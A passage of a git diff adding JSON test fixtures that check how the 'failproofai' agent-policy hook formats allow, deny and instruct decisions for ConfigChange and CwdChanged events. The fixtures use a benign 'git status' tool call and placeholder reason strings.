"Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9f3753a3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..026f349c --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..135b2e58 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fad6bb12 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0186e688 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d2eab8e8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ce2e934e --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3311ddcc --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5a882cb9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..456e152c --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..dace8ea9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..561abb18 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..981ff8d5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..708e812b --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2d6d828c --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..11130b63 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..82c3b274 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..252695ce --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f41f9b22 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..87f6b389 --- /dev/null +++ b/__tests__/parity/fixtures/factory/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": 